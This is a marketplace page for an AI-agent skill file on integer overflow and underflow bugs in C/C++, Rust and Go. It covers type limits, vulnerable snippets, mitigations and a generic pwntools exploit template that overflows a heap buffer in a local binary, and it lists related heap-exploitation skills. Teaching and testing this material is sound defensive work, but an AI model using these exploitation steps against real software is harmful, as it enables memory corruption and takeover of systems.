skills/binary-exploitation/integer-overflow-and-underflow/SKILL.md
How to identify, analyze, and exploit integer overflow and underflow vulnerabilities in C/C++, Rust, and Go code. Use this skill whenever the user mentions integer overflow, underflow, arithmetic bugs, size calculation vulnerabilities, heap overflow from integer issues, or wants to audit code for numeric type vulnerabilities. Also use when analyzing binary exploitation challenges involving arithmetic operations, buffer size calculations, or memory allocation based on user-controlled numeric input.
npx skillsauth add abelrguezr/hacktricks-skills integer-overflow-exploitationInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
A comprehensive guide to identifying and exploiting integer overflow and underflow vulnerabilities in software.
Use this skill when:
Integer overflow occurs when an arithmetic operation produces a result that exceeds the maximum value representable by the data type, causing it to wrap around.
Key principle: The vulnerability arises from the size limitation of data types and how the system interprets the wrapped value.
| Type | Size (bits) | Min Value | Max Value | |------|-------------|-----------|----------| | int8_t | 8 | -128 | 127 | | uint8_t | 8 | 0 | 255 | | int16_t | 16 | -32,768 | 32,767 | | uint16_t | 16 | 0 | 65,535 | | int32_t | 32 | -2,147,483,648 | 2,147,483,647 | | uint32_t | 32 | 0 | 4,294,967,295 | | int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 | | uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
Note: On 64-bit systems: short = int16_t, int = int32_t, long = int64_t
When a large calculation result is cast to a smaller type:
// Vulnerable: 64-bit product truncated to 32-bit
size_t count = 4294967296; // 2^32
size_t elem_size = 1;
uint32_t alloc_size = (uint32_t)(count * elem_size); // Becomes 0!
Exploitation: The allocation uses the truncated value (0 or small), but the copy uses the original large value, causing heap overflow.
Negative signed values become large unsigned values:
int userInput = -1;
unsigned int processed = (unsigned int)userInput; // 0xFFFFFFFF (4,294,967,295)
if (processed > 1000) { // TRUE! -8 becomes huge unsigned
// Dangerous code path
}
Subtracting a larger value from a smaller unsigned value:
size_t total_len = 8;
const size_t HEADER = 16;
size_t payload_len = total_len - HEADER; // Underflows to huge number!
// payload_len = 0xFFFFFFFFFFFFFFF8 (18,446,744,073,709,551,608)
Some allocators round up without re-checking overflow:
size_t total_size = alloc_size + extra;
if (total_size % 8)
total_size += (8 - total_size) % total_size; // Can wrap!
For values near 0xFFFFFFFFFFFFFFF9, the rounding addition wraps to a tiny value.
Look for:
Calculate what input causes the wrap:
Example: For 32-bit truncation, use 2^32 = 4294967296 to get 0.
Understand where the undersized buffer is relative to sensitive data:
struct session {
int is_admin; // Target to flip 0 → 1
char note[64];
};
// Layout: [buffer][gap][session]
// If buffer is undersized, overflow can reach session->is_admin
p32(1) for little-endian 1)# Example: Offset 48 bytes, then write 1 to is_admin
payload = b"A" * 48 + p32(1)
Vulnerability:
uint32_t alloc32 = (uint32_t)(count * elem_size) + 32;
char *buf = malloc(alloc32);
read(buf, count * elem_size); // Uses full size_t product!
Exploit:
count = 4294967296 (2^32), elem_size = 1alloc32 = 0 + 32 = 32 bytes allocatedread() tries to read 4294967296 bytesVulnerability:
size_t payload_len = total_len - HEADER; // Underflows if total_len < HEADER
read(buf, payload_len); // Reads huge amount!
Exploit:
total_len = 8 (less than HEADER = 16)payload_len underflows to 0xFFFFFFFFFFFFFFF8Vulnerability:
int length = get_user_input();
if (length < MAX_SIZE) { // -1 < MAX_SIZE is TRUE
unsigned int ulength = (unsigned int)length; // -1 becomes huge
process_buffer(ulength); // Processes huge buffer!
}
Exploit:
malloc/calloc/reallocUse the provided scripts:
# Analyze C/C++ code for potential overflow vulnerabilities
python scripts/analyze_overflow.py <source_file.c>
# Generate test cases for specific overflow patterns
python scripts/generate_overflow_tests.py --pattern truncation --type uint32
Go silently wraps integers. Use go-panikint to detect overflows:
git clone https://github.com/trailofbits/go-panikint
cd go-panikint/src && ./make.bash
export GOROOT=/path/to/go-panikint
./bin/go test -fuzz=FuzzOverflowHarness
This turns silent wraps into panics with stack traces.
Use safe arithmetic libraries:
__builtin_mul_overflow(), __builtin_add_overflow()checked_add(), checked_mul() or saturating_* variantsValidate before calculation:
if (count > SIZE_MAX / elem_size) return ERROR; // Prevent overflow
size_t total = count * elem_size;
Use consistent signedness:
Enable compiler warnings:
gcc -Woverflow -Wsign-compare -Wtype-limits
clang -fsanitize=integer
Integer overflow behavior does not change on ARM64. The same exploitation patterns apply:
The main difference is the calling convention and register usage, not the arithmetic behavior.
Dolby Unified Decoder had an allocator rounding bug:
emdf_payload_size decoded with unbounded loop0xFFFFFFFFFFFFFFF9end := pageRequest.Offset + pageRequest.Limit wrapped past MaxUint64, returning empty results instead of proper pagination.
| Operation | Trigger Value | Result | |-----------|---------------|--------| | uint8 + 1 | 255 | 0 | | uint16 + 1 | 65,535 | 0 | | uint32 + 1 | 4,294,967,295 | 0 | | uint32 * 2 | 2,147,483,648 | 0 (if result > 2^32) | | uint32 cast | 4,294,967,296 | 0 |
| Operation | Trigger | Result | |-----------|---------|--------| | uint32 - 1 | 0 | 4,294,967,295 | | uint32 - N | N-1 | 4,294,967,296 - N | | uint64 - 1 | 0 | 18,446,744,073,709,551,615 |
from pwn import *
def exploit_overflow():
io = process("./vulnerable_binary")
# 1. Send overflow-inducing parameters
io.sendlineafter(b"count: ", b"4294967296") # 2^32 → 0 in uint32
io.sendlineafter(b"size: ", b"1")
# 2. Wait for read
io.recvuntil(b"Send payload")
# 3. Craft payload: padding + exploit value
payload = b"A" * OFFSET + p64(0x4141414141414141) # Adjust offset and value
# 4. Send and close
io.send(payload)
io.shutdown("send") # Send EOF
# 5. Read result
print(io.recvall().decode())
scripts/analyze_overflow.py to find potential vulnerabilitiesscripts/generate_overflow_tests.py to create test casesFor complex cases, examine the memory layout carefully and use debugging tools (gdb, lldb) to verify your understanding before crafting the final exploit.
testing
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.